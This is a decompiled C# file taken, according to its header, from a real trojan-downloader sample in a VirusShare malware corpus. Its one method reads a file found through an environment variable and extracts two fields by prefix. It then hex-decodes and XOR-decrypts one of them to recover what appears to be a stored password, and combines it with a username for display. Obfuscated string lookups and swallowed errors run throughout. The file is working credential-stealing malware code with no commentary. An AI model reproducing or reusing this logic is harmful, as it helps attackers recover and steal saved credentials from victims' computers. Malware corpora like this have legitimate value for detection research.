// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 7761CAE9-D290-48D9-A44C-5C95C5289DD6
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Downloader.MSIL.VKont.a-1d4cb0f0a33db378f9e4ae1b0f91ee4baabf5f1a669646e1278e016241a1452a.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Windows.Forms;

namespace \u0003
{
  internal sealed class \u0001
  {
    [NonSerialized]
    internal static \u0001.\u0001 \u0001;

    public static string \u0002()
    {
      string str1;
      try
      {
        str1 = (string) null;
        string str2 = (string) null;
        string str3 = (string) null;
        string sDest = (string) null;
        string str4 = Interaction.Environ(\u0003.\u0001.\u0001(202));
        if (Operators.CompareString(Strings.Right(str4, 1), \u0003.\u0001.\u0001(223), false) != 0)
          str4 += \u0003.\u0001.\u0001(223);
        string str5 = str4 + \u0003.\u0001.\u0001(228);
        if (Operators.CompareString(FileSystem.Dir(str5), \u0003.\u0001.\u0001(269), false) != 0)
        {
          FileSystem.FileOpen(1, str5, OpenMode.Binary);
          while (!FileSystem.EOF(1))
          {
            string str6 = FileSystem.LineInput(1);
            if (Operators.CompareString(Strings.Left(str6, 9), \u0003.\u0001.\u0001(270), false) == 0)
              str2 = Strings.Mid(str6, 10);
            if (Operators.CompareString(Strings.Left(str6, 9), \u0003.\u0001.\u0001(283), false) == 0)
            {
              str3 = Strings.Mid(str6, 10);
              break;
            }
          }
          FileSystem.FileClose(1);
          int num1 = Strings.Len(str3);
          int Start = 1;
          while (Start <= num1)
          {
            sDest += Conversions.ToString(Strings.Chr(checked ((int) Math.Round(Conversion.Val(\u0003.\u0001.\u0001(296) + Strings.Mid(str3, Start, 2))))));
            checked { Start += 2; }
          }
          int num2 = Strings.Len(sDest);
          int num3 = 1;
          while (num3 <= num2)
          {
            int num4;
            StringType.MidStmtStr(ref sDest, num3, 1, Conversions.ToString(Strings.Chr(Strings.Asc(Strings.Mid(sDest, num3, 1)) ^ Strings.Asc(Strings.Mid(\u0003.\u0001.\u0001(301), checked (num4 + 1), 1)))));
            num4 = checked (num4 + 1) % 8;
            checked { ++num3; }
          }
          str1 = \u0003.\u0001.\u0001(314) + str2 + \u0003.\u0001.\u0001(331) + sDest + \u0003.\u0001.\u0001(352);
          TextBox textBox = \u0002.\u0002.\u0002().\u0002().\u0002();
          textBox.Text = textBox.Text + \u0003.\u0001.\u0001(357) + \u0003.\u0001.\u0002();
        }
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      return str1;
    }

    static \u0001() => \u0001.\u0002.\u0002();
  }
}
